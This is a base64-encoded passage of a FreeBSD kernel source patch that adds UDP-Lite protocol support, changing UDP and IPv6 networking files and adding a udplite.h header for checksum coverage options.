CiAJZXJyb3IgPSBpbl9wY2JiaW5kKGlucCwgbmFtLCB0ZC0+dGRfdWNyZWQpOwotCUlOUF9IQVNI X1dVTkxPQ0soJlZfdWRiaW5mbyk7CisJSU5QX0hBU0hfV1VOTE9DSyhpbnAtPmlucF9wY2JpbmZv KTsKIAlJTlBfV1VOTE9DSyhpbnApOwogCXJldHVybiAoZXJyb3IpOwogfQpAQCAtMTQ5NywxMCAr MTY1MywxMCBAQCB1ZHBfY2xvc2Uoc3RydWN0IHNvY2tldCAqc28pCiAJS0FTU0VSVChpbnAgIT0g TlVMTCwgKCJ1ZHBfY2xvc2U6IGlucCA9PSBOVUxMIikpOwogCUlOUF9XTE9DSyhpbnApOwogCWlm IChpbnAtPmlucF9mYWRkci5zX2FkZHIgIT0gSU5BRERSX0FOWSkgewotCQlJTlBfSEFTSF9XTE9D SygmVl91ZGJpbmZvKTsKKwkJSU5QX0hBU0hfV0xPQ0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJCWlu X3BjYmRpc2Nvbm5lY3QoaW5wKTsKIAkJaW5wLT5pbnBfbGFkZHIuc19hZGRyID0gSU5BRERSX0FO WTsKLQkJSU5QX0hBU0hfV1VOTE9DSygmVl91ZGJpbmZvKTsKKwkJSU5QX0hBU0hfV1VOTE9DSyhp bnAtPmlucF9wY2JpbmZvKTsKIAkJc29pc2Rpc2Nvbm5lY3RlZChzbyk7CiAJfQogCUlOUF9XVU5M T0NLKGlucCk7CkBAIC0xNTI2LDkgKzE2ODIsOSBAQCB1ZHBfY29ubmVjdChzdHJ1Y3Qgc29ja2V0 ICpzbywgc3RydWN0IHNvY2thZGRyICpuYQogCQlJTlBfV1VOTE9DSyhpbnApOwogCQlyZXR1cm4g KGVycm9yKTsKIAl9Ci0JSU5QX0hBU0hfV0xPQ0soJlZfdWRiaW5mbyk7CisJSU5QX0hBU0hfV0xP Q0soaW5wLT5pbnBfcGNiaW5mbyk7CiAJZXJyb3IgPSBpbl9wY2Jjb25uZWN0KGlucCwgbmFtLCB0 ZC0+dGRfdWNyZWQpOwotCUlOUF9IQVNIX1dVTkxPQ0soJlZfdWRiaW5mbyk7CisJSU5QX0hBU0hf V1VOTE9DSyhpbnAtPmlucF9wY2JpbmZvKTsKIAlpZiAoZXJyb3IgPT0gMCkKIAkJc29pc2Nvbm5l Y3RlZChzbyk7CiAJSU5QX1dVTkxPQ0soaW5wKTsKQEAgLTE1NDAsMjAgKzE2OTYsMjMgQEAgdWRw X2RldGFjaChzdHJ1Y3Qgc29ja2V0ICpzbykKIHsKIAlzdHJ1Y3QgaW5wY2IgKmlucDsKIAlzdHJ1 Y3QgdWRwY2IgKnVwOworCWludCBpc3VkcDsKIAorCWlzdWRwID0gKHNvLT5zb19wcm90by0+cHJf cHJvdG9jb2wgPT0gSVBQUk9UT19VRFApID8gMSA6IDA7CisKIAlpbnAgPSBzb3RvaW5wY2Ioc28p OwogCUtBU1NFUlQoaW5wICE9IE5VTEwsICgidWRwX2RldGFjaDogaW5wID09IE5VTEwiKSk7CiAJ S0FTU0VSVChpbnAtPmlucF9mYWRkci5zX2FkZHIgPT0gSU5BRERSX0FOWSwKIAkgICAgKCJ1ZHBf ZGV0YWNoOiBub3QgZGlzY29ubmVjdGVkIikpOwotCUlOUF9JTkZPX1dMT0NLKCZWX3VkYmluZm8p OworCUlOUF9JTkZPX1dMT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCUlOUF9XTE9DSyhpbnApOwog CXVwID0gaW50b3VkcGNiKGlucCk7CiAJS0FTU0VSVCh1cCAhPSBOVUxMLCAoIiVzOiB1cCA9PSBO VUxMIiwgX19mdW5jX18pKTsKIAlpbnAtPmlucF9wcGNiID0gTlVMTDsKIAlpbl9wY2JkZXRhY2go aW5wKTsKIAlpbl9wY2JmcmVlKGlucCk7Ci0JSU5QX0lORk9fV1VOTE9DSygmVl91ZGJpbmZvKTsK LQl1ZHBfZGlzY2FyZGNiKHVwKTsKKwlJTlBfSU5GT19XVU5MT0NLKGlucC0+aW5wX3BjYmluZm8p OworCXVkcF9kaXNjYXJkY2IodXAsIGlzdWRwKTsKIH0KIAogc3RhdGljIGludApAQCAtMTU2OCwx MCArMTcyNywxMCBAQCB1ZHBfZGlzY29ubmVjdChzdHJ1Y3Qgc29ja2V0ICpzbykKIAkJSU5QX1dV TkxPQ0soaW5wKTsKIAkJcmV0dXJuIChFTk9UQ09OTik7CiAJfQotCUlOUF9IQVNIX1dMT0NLKCZW X3VkYmluZm8pOworCUlOUF9IQVNIX1dMT0NLKGlucC0+aW5wX3BjYmluZm8pOwogCWluX3BjYmRp c2Nvbm5lY3QoaW5wKTsKIAlpbnAtPmlucF9sYWRkci5zX2FkZHIgPSBJTkFERFJfQU5ZOwotCUlO UF9IQVNIX1dVTkxPQ0soJlZfdWRiaW5mbyk7CisJSU5QX0hBU0hfV1VOTE9DSyhpbnAtPmlucF9w Y2JpbmZvKTsKIAlTT0NLX0xPQ0soc28pOwogCXNvLT5zb19zdGF0ZSAmPSB+U1NfSVNDT05ORUNU RUQ7CQkvKiBYWFggKi8KIAlTT0NLX1VOTE9DSyhzbyk7CkBAIC0xNjIyLDQgKzE3ODEsNSBAQCBz dHJ1Y3QgcHJfdXNycmVxcyB1ZHBfdXNycmVxcyA9IHsKIAkucHJ1X3Nvc2V0bGFiZWwgPQlpbl9w Y2Jzb3NldGxhYmVsLAogCS5wcnVfY2xvc2UgPQkJdWRwX2Nsb3NlLAogfTsKKwogI2VuZGlmIC8q IElORVQgKi8KSW5kZXg6IHN5cy9uZXRpbmV0L3VkcF92YXIuaAo9PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBzeXMv bmV0aW5ldC91ZHBfdmFyLmgJKHJldmlzaW9uIDI0ODgxMSkKKysrIHN5cy9uZXRpbmV0L3VkcF92 YXIuaAkod29ya2luZyBjb3B5KQpAQCAtNjIsMTAgKzYyLDEyIEBAIHR5cGVkZWYgdm9pZCgqdWRw X3R1bl9mdW5jX3QpKHN0cnVjdCBtYnVmICosIGludCBvCiBzdHJ1Y3QgdWRwY2IgewogCXVkcF90 dW5fZnVuY190CXVfdHVuX2Z1bmM7CS8qIFVEUCBrZXJuZWwgdHVubmVsaW5nIGNhbGxiYWNrLiAq LwogCXVfaW50CQl1X2ZsYWdzOwkvKiBHZW5lcmljIFVEUCBmbGFncy4gKi8KKwl1aW50MTZfdAl1 X3J4Y3NsZW47CS8qIENvdmVyYWdlIGZvciBpbmNvbWluZyBkYXRhZ3JhbXMuICovCisJdWludDE2 X3QJdV90eGNzbGVuOwkvKiBDb3ZlcmFnZSBmb3Igb3V0Z29pbmcgZGF0YWdyYW1zLiAqLwogfTsK IAotI2RlZmluZQlpbnRvdWRwY2IoaXApCSgoc3RydWN0IHVkcGNiICopKGlwKS0+aW5wX3BwY2Ip Ci0jZGVmaW5lCXNvdG91ZHBjYihzbykJKGludG91ZHBjYihzb3RvaW5wY2Ioc28pKSkKKyNkZWZp bmUJaW50b3VkcGNiKGlwKQkJKChzdHJ1Y3QgdWRwY2IgKikoaXApLT5pbnBfcHBjYikKKyNkZWZp bmUJc290b3VkcGNiKHNvKQkJKGludG91ZHBjYihzb3RvaW5wY2Ioc28pKSkKIAogCQkJCS8qIElQ c2VjOiBFU1AgaW4gVURQIHR1bm5lbGluZzogKi8KICNkZWZpbmUJVUZfRVNQSU5VRFBfTk9OX0lL RQkweDAwMDAwMDAxCS8qIHcvIG5vbi1JS0UgbWFya2VyIC4uICovCkBAIC05Myw2ICs5NSwzMyBA QCBzdHJ1Y3QgdWRwc3RhdCB7CiAJdV9sb25nCXVkcHNfZmlsdGVybWNhc3Q7CS8qIGJsb2NrZWQg YnkgbXVsdGljYXN0IGZpbHRlciAqLwogfTsKIAorLyogCisgKiBQcm90b2NvbCBjb250cm9sIGJs b2NrcyBtYW5hZ2VtZW50IGZ1bmN0aW9ucy4KKyAqLworI2RlZmluZSBVRFBfUENCSU5GT19JTklU KHBjYmluZm8sIHBjYm5hbWUsIGxpc3RoZWFkLCBpbnBjYnpvbmVfbmFtZSxcCisJaW5wY2J6b25l X2luaXQpIHsgXAorCWluX3BjYmluZm9faW5pdChwY2JpbmZvLCBwY2JuYW1lLCBsaXN0aGVhZCwg VURCSEFTSFNJWkUsIFVEQkhBU0hTSVpFLFwKKwkgICAgaW5wY2J6b25lX25hbWUsIGlucGNiem9u ZV9pbml0LCBOVUxMLCBVTUFfWk9ORV9OT0ZSRUUsXAorCSAgICBJUElfSEFTSEZJRUxEU18yVFVQ TEUpOyBcCit9CisKKyNkZWZpbmUJVURQX1BDQklORk9fREVTVFJPWShwY2JpbmZvKSB7IFwKKwlp bl9wY2JpbmZvX2Rlc3Ryb3kocGNiaW5mbyk7IFwKK30KKworLyoKKyAqIFpvbmUgYWxsb2NhdGlv biBmdW5jdGlvbnMuCisgKi8KKyNkZWZpbmUJVURQX1pPTkVfSU5JVCh6b25lLCB6b25lX25hbWUp IHsgXAorCXpvbmUgPSB1bWFfemNyZWF0ZSh6b25lX25hbWUsIHNpemVvZihzdHJ1Y3QgdWRwY2Ip LCBOVUxMLCBOVUxMLCBOVUxMLFwKKwkgICAgTlVMTCwgVU1BX0FMSUdOX1BUUiwgVU1BX1pPTkVf Tk9GUkVFKTsgXAorCXVtYV96b25lX3NldF9tYXgoem9uZSwgbWF4c29ja2V0cyk7IFwKKwl1bWFf em9uZV9zZXRfd2FybmluZyh6b25lLCAia2Vybi5pcGMubWF4c29ja2V0cyBsaW1pdCByZWFjaGVk Iik7IFwKK30KKworI2RlZmluZQlVRFBfWk9ORV9ERVNUUk9ZKHpvbmUpCXVtYV96ZGVzdHJveSh6 b25lKQorCisKICNpZmRlZiBfS0VSTkVMCiAvKgogICogSW4ta2VybmVsIGNvbnN1bWVycyBjYW4g dXNlIHRoZXNlIGFjY2Vzc29yIG1hY3JvcyBkaXJlY3RseSB0byB1cGRhdGUKQEAgLTEzNCw4ICsx NjMsMTIgQEAgU1lTQ1RMX0RFQ0woX25ldF9pbmV0X3VkcCk7CiBleHRlcm4gc3RydWN0IHByX3Vz cnJlcXMJdWRwX3VzcnJlcXM7CiBWTkVUX0RFQ0xBUkUoc3RydWN0IGlucGNiaGVhZCwgdWRiKTsK IFZORVRfREVDTEFSRShzdHJ1Y3QgaW5wY2JpbmZvLCB1ZGJpbmZvKTsKK1ZORVRfREVDTEFSRShz dHJ1Y3QgaW5wY2JoZWFkLCB1bGl0ZWNiKTsKK1ZORVRfREVDTEFSRShzdHJ1Y3QgaW5wY2JpbmZv LCB1bGl0ZWNiaW5mbyk7CiAjZGVmaW5lCVZfdWRiCQkJVk5FVCh1ZGIpCiAjZGVmaW5lCVZfdWRi aW5mbwkJVk5FVCh1ZGJpbmZvKQorI2RlZmluZQlWX3VsaXRlY2IJCVZORVQodWxpdGVjYikKKyNk ZWZpbmUJVl91bGl0ZWNiaW5mbwkJVk5FVCh1bGl0ZWNiaW5mbykKIAogZXh0ZXJuIHVfbG9uZwkJ CXVkcF9zZW5kc3BhY2U7CiBleHRlcm4gdV9sb25nCQkJdWRwX3JlY3ZzcGFjZTsKQEAgLTE0Nywy MCArMTgwLDQxIEBAIFZORVRfREVDTEFSRShpbnQsIHVkcF9ibGFja2hvbGUpOwogI2RlZmluZQlW X3VkcF9ibGFja2hvbGUJCVZORVQodWRwX2JsYWNraG9sZSkKIGV4dGVybiBpbnQJCQl1ZHBfbG9n X2luX3ZhaW47CiAKLWludAkJIHVkcF9uZXd1ZHBjYihzdHJ1Y3QgaW5wY2IgKik7Ci12b2lkCQkg dWRwX2Rpc2NhcmRjYihzdHJ1Y3QgdWRwY2IgKik7CitpbnQJCXVkcF9uZXd1ZHBjYihzdHJ1Y3Qg aW5wY2IgKik7Cit2b2lkCQl1ZHBfZGlzY2FyZGNiKHN0cnVjdCB1ZHBjYiAqLCBpbnQpOwogCi12 b2lkCQkgdWRwX2N0bGlucHV0KGludCwgc3RydWN0IHNvY2thZGRyICosIHZvaWQgKik7Ci1pbnQJ CSB1ZHBfY3Rsb3V0cHV0KHN0cnVjdCBzb2NrZXQgKiwgc3RydWN0IHNvY2tvcHQgKik7Ci12b2lk CQkgdWRwX2luaXQodm9pZCk7Cit2b2lkCQl1ZHBfY3RsaW5wdXQoaW50LCBzdHJ1Y3Qgc29ja2Fk ZHIgKiwgdm9pZCAqKTsKK3ZvaWQJCXVkcGxpdGVfY3RsaW5wdXQoaW50LCBzdHJ1Y3Qgc29ja2Fk ZHIgKiwgdm9pZCAqKTsKK2ludAkJdWRwX2N0bG91dHB1dChzdHJ1Y3Qgc29ja2V0ICosIHN0cnVj dCBzb2Nrb3B0ICopOwordm9pZAkJdWRwX2luaXQodm9pZCk7Cit2b2lkCQl1ZHBsaXRlX2luaXQo dm9pZCk7CiAjaWZkZWYgVklNQUdFCi12b2lkCQkgdWRwX2Rlc3Ryb3kodm9pZCk7Cit2b2lkCQl1 ZHBfZGVzdHJveSh2b2lkKTsKK3ZvaWQJCXVkcGxpdGVfZGVzdHJveSh2b2lkKTsKICNlbmRpZgot dm9pZAkJIHVkcF9pbnB1dChzdHJ1Y3QgbWJ1ZiAqLCBpbnQpOwordm9pZAkJdWRwX2lucHV0KHN0 cnVjdCBtYnVmICosIGludCk7Cit2b2lkCQl1ZHBsaXRlX2lucHV0KHN0cnVjdCBtYnVmICosIGlu dCk7CiBzdHJ1Y3QgaW5wY2IJKnVkcF9ub3RpZnkoc3RydWN0IGlucGNiICppbnAsIGludCBlcnJu byk7Ci1pbnQJCSB1ZHBfc2h1dGRvd24oc3RydWN0IHNvY2tldCAqc28pOworaW50CQl1ZHBfc2h1 dGRvd24oc3RydWN0IHNvY2tldCAqc28pOwogCiBpbnQgdWRwX3NldF9rZXJuZWxfdHVubmVsaW5n KHN0cnVjdCBzb2NrZXQgKnNvLCB1ZHBfdHVuX2Z1bmNfdCBmKTsKLSNlbmRpZgogCi0jZW5kaWYK KyNkZWZpbmUJdWRwX2NvbW1vbl9pbml0KHBjYmluZm8sIHBjYm5hbWUsIGxpc3RoZWFkLCBpbnBj YnpvbmVfbmFtZSxcCisJaW5wY2J6b25lX2luaXQsIHpvbmUsIHpvbmVfbmFtZSkgeyBcCisJVURQ X1BDQklORk9fSU5JVChwY2JpbmZvLCBwY2JuYW1lLCBsaXN0aGVhZCwgaW5wY2J6b25lX25hbWUs XAorCSAgICBpbnBjYnpvbmVfaW5pdCk7IFwKKwlVRFBfWk9ORV9JTklUKHpvbmUsIHpvbmVfbmFt ZSk7IFwKK30KKworI2RlZmluZQl1ZHBfY29tbW9uX2Rlc3Ryb3kocGNiaW5mbywgem9uZSkgeyBc CisJVURQX1BDQklORk9fREVTVFJPWShwY2JpbmZvKTsgXAorCVVEUF9aT05FX0RFU1RST1koem9u ZSk7IFwKK30KKworI2RlZmluZQl1ZHBfY29tbW9uX3pvbmVfY2hhbmdlKF9wY2JpbmZvLCBfem9u ZSkgeyBcCisgICAgICAgIHVtYV96b25lX3NldF9tYXgoKF9wY2JpbmZvKS5pcGlfem9uZSwgbWF4 c29ja2V0cyk7IFwKKyAgICAgICAgdW1hX3pvbmVfc2V0X21heCgoX3pvbmUpLCBtYXhzb2NrZXRz KTsgXAorfQorI2VuZGlmIC8qIF9LRVJORUwgKi8KKworI2VuZGlmIC8qIF9ORVRJTkVUX1VEUF9W QVJfSF8gKi8KSW5kZXg6IHN5cy9uZXRpbmV0L3VkcGxpdGUuaAo9PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBzeXMv bmV0aW5ldC91ZHBsaXRlLmgJKHJldmlzaW9uIDApCisrKyBzeXMvbmV0aW5ldC91ZHBsaXRlLmgJ KHdvcmtpbmcgY29weSkKQEAgLTAsMCArMSwzOCBAQAorLyotCisgKiBDb3B5cmlnaHQgKGMpIDIw MTMsIEtldmluIExvCisgKiBBbGwgcmlnaHRzIHJlc2VydmVkLgorICoKKyAqIFJlZGlzdHJpYnV0 aW9uIGFuZCB1c2UgaW4gc291cmNlIGFuZCBiaW5hcnkgZm9ybXMsIHdpdGggb3Igd2l0aG91dAor ICogbW9kaWZpY2F0aW9uLCBhcmUgcGVybWl0dGVkIHByb3ZpZGVkIHRoYXQgdGhlIGZvbGxvd2lu ZyBjb25kaXRpb25zCisgKiBhcmUgbWV0OgorICogMS4gUmVkaXN0cmlidXRpb25zIG9mIHNvdXJj ZSBjb2RlIG11c3QgcmV0YWluIHRoZSBhYm92ZSBjb3B5cmlnaHQKKyAqICAgIG5vdGljZSwgdGhp cyBsaXN0IG9mIGNvbmRpdGlvbnMgYW5kIHRoZSBmb2xsb3dpbmcgZGlzY2xhaW1lci4KKyAqIDIu IFJlZGlzdHJpYnV0aW9ucyBpbiBiaW5hcnkgZm9ybSBtdXN0IHJlcHJvZHVjZSB0aGUgYWJvdmUg Y29weXJpZ2h0CisgKiAgICBub3RpY2UsIHRoaXMgbGlzdCBvZiBjb25kaXRpb25zIGFuZCB0aGUg Zm9sbG93aW5nIGRpc2NsYWltZXIgaW4gdGhlCisgKiAgICBkb2N1bWVudGF0aW9uIGFuZC9vciBv dGhlciBtYXRlcmlhbHMgcHJvdmlkZWQgd2l0aCB0aGUgZGlzdHJpYnV0aW9uLgorICoKKyAqIFRI SVMgU09GVFdBUkUgSVMgUFJPVklERUQgQlkgVEhFIFJFR0VOVFMgQU5EIENPTlRSSUJVVE9SUyBg YEFTIElTJycgQU5ECisgKiBBTlkgRVhQUkVTUyBPUiBJTVBMSUVEIFdBUlJBTlRJRVMsIElOQ0xV RElORywgQlVUIE5PVCBMSU1JVEVEIFRPLCBUSEUKKyAqIElNUExJRUQgV0FSUkFOVElFUyBPRiBN RVJDSEFOVEFCSUxJVFkgQU5EIEZJVE5FU1MgRk9SIEEgUEFSVElDVUxBUiBQVVJQT1NFCisgKiBB UkUgRElTQ0xBSU1FRC4gIElOIE5PIEVWRU5UIFNIQUxMIFRIRSBSRUdFTlRTIE9SIENPTlRSSUJV VE9SUyBCRSBMSUFCTEUKKyAqIEZPUiBBTlkgRElSRUNULCBJTkRJUkVDVCwgSU5DSURFTlRBTCwg U1BFQ0lBTCwgRVhFTVBMQVJZLCBPUiBDT05TRVFVRU5USUFMCisgKiBEQU1BR0VTIChJTkNMVURJ TkcsIEJVVCBOT1QgTElNSVRFRCBUTywgUFJPQ1VSRU1FTlQgT0YgU1VCU1RJVFVURSBHT09EUwor ICogT1IgU0VSVklDRVM7IExPU1MgT0YgVVNFLCBEQVRBLCBPUiBQUk9GSVRTOyBPUiBCVVNJTkVT UyBJTlRFUlJVUFRJT04pCisgKiBIT1dFVkVSIENBVVNFRCBBTkQgT04gQU5ZIFRIRU9SWSBPRiBM SUFCSUxJVFksIFdIRVRIRVIgSU4gQ09OVFJBQ1QsIFNUUklDVAorICogTElBQklMSVRZLCBPUiBU T1JUIChJTkNMVURJTkcgTkVHTElHRU5DRSBPUiBPVEhFUldJU0UpIEFSSVNJTkcgSU4gQU5ZIFdB WQorICogT1VUIE9GIFRIRSBVU0UgT0YgVEhJUyBTT0ZUV0FSRSwgRVZFTiBJRiBBRFZJU0VEIE9G IFRIRSBQT1NTSUJJTElUWSBPRgorICogU1VDSCBEQU1BR0UuCisgKgorICogJEZyZWVCU0QkCisg Ki8KKworI2lmbmRlZiBfTkVUSU5FVF9VRFBMSVRFX0hfCisjZGVmaW5lCV9ORVRJTkVUX1VEUExJ VEVfSF8KKworLyogCisgKiBVc2VyLXNldHRhYmxlIG9wdGlvbnMgKHVzZWQgd2l0aCBzZXRzb2Nr b3B0KS4KKyAqLworI2RlZmluZQlVRFBMSVRFX1NFTkRfQ1NDT1YJMgkvKiBTZW5kZXIgY2hlY2tz dW0gY292ZXJhZ2UuICovCisjZGVmaW5lCVVEUExJVEVfUkVDVl9DU0NPVgk0CS8qIFJlY2VpdmVy IGNoZWNrc3VtIGNvdmVyYWdlLiAqLworCisjZW5kaWYJLyogIV9ORVRJTkVUX1VEUExJVEVfSF8g Ki8KSW5kZXg6IHN5cy9uZXRpbmV0Ni9pbjZfaWZhdHRhY2guYwo9PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBzeXMv bmV0aW5ldDYvaW42X2lmYXR0YWNoLmMJKHJldmlzaW9uIDI0ODgxMSkKKysrIHN5cy9uZXRpbmV0 Ni9pbjZfaWZhdHRhY2guYwkod29ya2luZyBjb3B5KQpAQCAtODM3LDYgKzgzNyw3IEBAIGluNl9p ZmRldGFjaChzdHJ1Y3QgaWZuZXQgKmlmcCkKIAl9CiAKIAlpbjZfcGNicHVyZ2VpZjAoJlZfdWRi aW5mbywgaWZwKTsKKwlpbjZfcGNicHVyZ2VpZjAoJlZfdWxpdGVjYmluZm8sIGlmcCk7CiAJaW42 X3BjYnB1cmdlaWYwKCZWX3JpcGNiaW5mbywgaWZwKTsKIAkvKiBsZWF2ZSBmcm9tIGFsbCBtdWx0 aWNhc3QgZ3JvdXBzIGpvaW5lZCAqLwogCWluNl9wdXJnZW1hZGRycyhpZnApOwpJbmRleDogc3lz L25ldGluZXQ2L2luNl9wcm90by5jCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIHN5cy9uZXRpbmV0Ni9pbjZfcHJv dG8uYwkocmV2aXNpb24gMjQ4ODExKQorKysgc3lzL25ldGluZXQ2L2luNl9wcm90by5jCSh3b3Jr aW5nIGNvcHkpCkBAIC0yMTgsNiArMjE4LDE5IEBAIHN0cnVjdCBpcDZwcm90b3N3IGluZXQ2c3db XSA9IHsKIH0sCiAjZW5kaWYgLyogU0NUUCAqLwogeworCS5wcl90eXBlID0JCVNPQ0tfREdSQU0s CisJLnByX2RvbWFpbiA9CQkmaW5ldDZkb21haW4sCisJLnByX3Byb3RvY29sID0JCUlQUFJPVE9f VURQTElURSwKKwkucHJfZmxhZ3MgPQkJUFJfQVRPTUlDfFBSX0FERFIsCisJLnByX2lucHV0ID0J CXVkcDZfaW5wdXQsCisJLnByX2N0bGlucHV0ID0JCXVkcGxpdGU2X2N0bGlucHV0LAorCS5wcl9j dGxvdXRwdXQgPQkJdWRwX2N0bG91dHB1dCwKKyNpZm5kZWYgSU5FVAkvKiBEbyBub3QgY2FsbCBp bml0aWFsaXphdGlvbiB0d2ljZS4gKi8KKwkucHJfaW5pdCA9CQl1ZHBsaXRlX2luaXQsCisjZW5k aWYKKwkucHJfdXNycmVxcyA9CQkmdWRwNl91c3JyZXFzLAorfSwKK3sKIAkucHJfdHlwZSA9CQlT T0NLX1JBVywKIAkucHJfZG9tYWluID0JCSZpbmV0NmRvbWFpbiwKIAkucHJfcHJvdG9jb2wgPQkJ SVBQUk9UT19SQVcsCkBAIC00NTMsNiArNDY2LDcgQEAgU1lTQ1RMX05PREUoX25ldF9pbmV0NiwJ SVBQUk9UT19UQ1AsCXRjcDYsCUNUTEZMQUcKICNpZmRlZiBTQ1RQCiBTWVNDVExfTk9ERShfbmV0 X2luZXQ2LAlJUFBST1RPX1NDVFAsCXNjdHA2LAlDVExGTEFHX1JXLCAwLAkiU0NUUDYiKTsKICNl bmRpZgorU1lTQ1RMX05PREUoX25ldF9pbmV0NiwJSVBQUk9UT19VRFBMSVRFLHVkcGxpdGU2LENU TEZMQUdfUlcsIDAsCSJVRFBMSVRFNiIpOwogI2lmZGVmIElQU0VDCiBTWVNDVExfTk9ERShfbmV0 X2luZXQ2LAlJUFBST1RPX0VTUCwJaXBzZWM2LAlDVExGTEFHX1JXLCAwLAkiSVBTRUM2Iik7CiAj ZW5kaWYgLyogSVBTRUMgKi8KSW5kZXg6IHN5cy9uZXRpbmV0Ni91ZHA2X3VzcnJlcS5jCj09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT0KLS0tIHN5cy9uZXRpbmV0Ni91ZHA2X3VzcnJlcS5jCShyZXZpc2lvbiAyNDg4MTEpCisr KyBzeXMvbmV0aW5ldDYvdWRwNl91c3JyZXEuYwkod29ya2luZyBjb3B5KQpAQCAtMTA2LDYgKzEw Niw3IEBAIF9fRkJTRElEKCIkRnJlZUJTRCQiKTsKICNpbmNsdWRlIDxuZXRpbmV0L2lwX3Zhci5o PgogI2luY2x1ZGUgPG5ldGluZXQvdWRwLmg+CiAjaW5jbHVkZSA8bmV0aW5ldC91ZHBfdmFyLmg+ CisjaW5jbHVkZSA8bmV0aW5ldC91ZHBsaXRlLmg+CiAKICNpbmNsdWRlIDxuZXRpbmV0Ni9pcDZw cm90b3N3Lmg+CiAjaW5jbHVkZSA8bmV0aW5ldDYvaXA2X3Zhci5oPgpAQCAtMTc4LDExICsxNzks MTQgQEAgdWRwNl9pbnB1dChzdHJ1Y3QgbWJ1ZiAqKm1wLCBpbnQgKm9mZnAsIGludCBwcm90bykK IAlzdHJ1Y3QgaXA2X2hkciAqaXA2OwogCXN0cnVjdCB1ZHBoZHIgKnVoOwogCXN0cnVjdCBpbnBj YiAqaW5wOwotCXN0cnVjdCB1ZHBjYiAqdXA7CisJc3RydWN0IGlucGNiaW5mbyAqcGNiaW5mbzsK KwlzdHJ1Y3QgdWRwY2IgKnVwID0gTlVMTDsKIAlpbnQgb2ZmID0gKm9mZnA7CisJaW50IGNzY292 X3BhcnRpYWw7CiAJaW50IHBsZW4sIHVsZW47CiAJc3RydWN0IHNvY2thZGRyX2luNiBmcm9tc2E7 CiAJc3RydWN0IG1fdGFnICpmd2RfdGFnOworCXVpbnQ4X3Qgbnh0OwogCXVpbnQxNl90IHVoX3N1 bTsKIAogCWlmcCA9IG0tPm1fcGt0aGRyLnJjdmlmOwpAQCAtMjE1LDkgKzIxOSwxOSBAQCB1ZHA2 X2lucHV0KHN0cnVjdCBtYnVmICoqbXAsIGludCAqb2ZmcCwgaW50IHByb3RvKQogCXBsZW4gPSBu dG9ocyhpcDYtPmlwNl9wbGVuKSAtIG9mZiArIHNpemVvZigqaXA2KTsKIAl1bGVuID0gbnRvaHMo KHVfc2hvcnQpdWgtPnVoX3VsZW4pOwogCisJbnh0ID0gaXA2LT5pcDZfbnh0OworCWNzY292X3Bh cnRpYWwgPSAobnh0ID09IElQUFJPVE9fVURQTElURSkgPyAxIDogMDsKKwlpZiAobnh0ID09IElQ UFJPVE9fVURQTElURSAmJiB1bGVuID09IDApIHsKKwkJLyogWmVybyBtZWFucyBjaGVja3N1bSBv dmVyIHRoZSBjb21wbGV0ZSBwYWNrZXQuICovCisJCXVsZW4gPSBwbGVuOworCQljc2Nvdl9wYXJ0 aWFsID0gMDsKKwl9CisKIAlpZiAocGxlbiAhPSB1bGVuKSB7Ci0JCVVEUFNUQVRfSU5DKHVkcHNf YmFkbGVuKTsKLQkJZ290byBiYWR1bmxvY2tlZDsKKwkJaWYgKHVsZW4gPiBwbGVuIHx8IHVsZW4g PCBzaXplb2Yoc3RydWN0IHVkcGhkcikpIHsKKwkJCVVEUFNUQVRfSU5DKHVkcHNfYmFkbGVuKTsK KwkJCWdvdG8gYmFkdW5sb2NrZWQ7CisJCX0KIAl9CiAKIAkvKgpAQCAtMjI4LDE1ICsyNDIsMTYg QEAgdWRwNl9pbnB1dChzdHJ1Y3QgbWJ1ZiAqKm1wLCBpbnQgKm9mZnAsIGludCBwcm90bykKIAkJ Z290byBiYWR1bmxvY2tlZDsKIAl9CiAKLQlpZiAobS0+bV9wa3RoZHIuY3N1bV9mbGFncyAmIENT VU1fREFUQV9WQUxJRF9JUFY2KSB7CisJaWYgKChtLT5tX3BrdGhkci5jc3VtX2ZsYWdzICYgQ1NV TV9EQVRBX1ZBTElEX0lQVjYpICYmCisJICAgICFjc2Nvdl9wYXJ0aWFsKSB7CiAJCWlmIChtLT5t X3BrdGhkci5jc3VtX2ZsYWdzICYgQ1NVTV9QU0VVRE9fSERSKQogCQkJdWhfc3VtID0gbS0+bV9w a3RoZHIuY3N1bV9kYXRhOwogCQllbHNlCi0JCQl1aF9zdW0gPSBpbjZfY2tzdW1fcHNldWRvKGlw NiwgdWxlbiwKLQkJCSAgICBJUFBST1RPX1VEUCwgbS0+bV9wa3RoZHIuY3N1bV9kYXRhKTsKKwkJ CXVoX3N1bSA9IGluNl9ja3N1bV9wc2V1ZG8oaXA2LCB1bGVuLCBueHQsCisJCQkgICAgbS0+bV9w a3RoZHIuY3N1bV9kYXRhKTsKIAkJdWhfc3VtIF49IDB4ZmZmZjsKIAl9IGVsc2UKLQkJdWhfc3Vt ID0gaW42X2Nrc3VtKG0sIElQUFJPVE9fVURQLCBvZmYsIHVsZW4pOworCQl1aF9zdW0gPSBpbjZf Y2tzdW0obSwgbnh0LCBvZmYsIHVsZW4pOwogCiAJaWYgKHVoX3N1bSAhPSAwKSB7CiAJCVVEUFNU QVRfSU5DKHVkcHNfYmFkc3VtKTsKQEAgLTI0OSwxMSArMjY0LDEzIEBAIHVkcDZfaW5wdXQoc3Ry dWN0IG1idWYgKiptcCwgaW50ICpvZmZwLCBpbnQgcHJvdG8pCiAJaW5pdF9zaW42KCZmcm9tc2Es IG0pOwogCWZyb21zYS5zaW42X3BvcnQgPSB1aC0+dWhfc3BvcnQ7CiAKKwlwY2JpbmZvID0gKG54 dCA9PSBJUFBST1RPX1VEUCkgPyAmVl91ZGJpbmZvIDogJlZfdWxpdGVjYmluZm87CiAJaWYgKElO 